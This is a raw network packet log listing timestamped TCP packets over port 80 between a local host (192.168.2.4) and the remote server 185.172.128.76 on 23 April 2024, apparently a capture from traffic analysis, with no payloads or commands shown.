Apr 23, 2024 09:38:19.155009031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.155092001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.155150890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.155186892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.155222893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.155232906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.155232906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.155232906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.155258894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.155291080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.155312061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.155347109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.155376911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.155384064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.155412912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.155420065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.155461073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.155474901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.155474901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.155497074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.155508995 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.155582905 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.303829908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.303853035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.303868055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.303883076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.303899050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.303915024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.303914070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.303930998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.303946972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.303961039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.303961039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.304001093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.304215908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.304240942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.304291964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.304322004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.304359913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.304387093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.304425001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.304430962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.304447889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.304605961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.356463909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.356509924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.356540918 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.356545925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.356578112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.356583118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.356614113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.356621027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.356658936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.356666088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.356692076 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.356698036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.356729984 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.356735945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.356787920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.356817961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.356823921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.356856108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.356861115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.356890917 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.356898069 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.356930017 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.356935978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.356967926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.356973886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.357031107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.357050896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.357069016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.357100964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.357191086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.509076118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509155989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509180069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.509195089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509200096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.509237051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.509279013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509315968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509346962 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.509352922 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509367943 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.509413004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.509449959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509485960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509516954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.509522915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509536982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.509624004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.509630919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509675980 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.509768009 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509805918 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509840965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509850979 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.509881020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.509929895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.509973049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558104038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558152914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558166027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558191061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558197975 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558227062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558235884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558264017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558267117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558300972 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558301926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558337927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558373928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558382034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558410883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558413029 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558446884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558482885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558484077 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558502913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558527946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558561087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558567047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558567047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558604002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558614016 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558640957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558651924 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558676958 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558681011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558712959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558720112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558749914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558758974 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558789015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.558794975 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.558832884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.710747004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.710935116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711100101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711138964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711149931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711179972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711182117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711218119 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711224079 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711255074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711260080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711292028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711301088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711328030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711333990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711364985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711368084 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711401939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711405993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711438894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711441994 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711474895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711481094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711512089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711518049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711555958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711564064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711600065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.711600065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.711641073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.762609005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.762630939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.762648106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.762664080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.762680054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.762682915 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.762706041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.762706995 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.762738943 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.762748957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.762764931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.762765884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.762784004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.762809038 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.762839079 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.762891054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.762911081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.762959003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.763003111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.763020039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.763036013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.763046026 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.763052940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.763073921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.763098001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.763130903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.763148069 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.763164997 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.763180971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.763192892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.763221025 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.763283014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.763326883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.763747931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.763799906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.914972067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.914993048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.915062904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.915529013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.915586948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.915678024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.915694952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.915710926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.915725946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.915728092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.915741920 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.915745974 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.915756941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.915771961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.915776968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.915788889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.915790081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.915808916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.915832996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.915950060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.915966988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.915983915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.915991068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.916002035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.916008949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.916019917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.916023016 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.916038990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.916043997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.916057110 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.916063070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.916080952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.916090012 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.963798046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.963818073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.963834047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.963850975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.963865995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.963870049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.963885069 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.963896036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.963901997 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.963912010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.963917971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.963934898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.963948011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.963952065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.963969946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.963969946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.963987112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.963989973 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.964004040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.964011908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.964020967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.964025974 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.964039087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.964045048 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.964056969 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.964063883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.964073896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.964077950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.964087963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.964091063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.964118004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.964118004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.964126110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.964134932 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.964152098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.964167118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.964179993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.964194059 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.964632988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.964651108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.964698076 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.116198063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116245985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116394997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.116441011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116458893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116519928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.116564989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116581917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116617918 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.116645098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.116669893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116687059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116744041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116750002 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.116761923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116827965 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.116846085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.116918087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116935015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116950989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116967916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.116980076 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.116985083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.117002010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.117008924 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.117019892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.117027998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.117037058 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.117052078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.117054939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.117068052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.117088079 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.117095947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.165846109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.165899992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.165909052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.165919065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.165927887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.165939093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.165946960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.165955067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.165962934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.165971041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.165980101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.165987968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166002989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166012049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166019917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166045904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166060925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166075945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166093111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166101933 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166111946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166121960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.166131973 CEST	80	49733	185.172.128.76	192.168.2.4
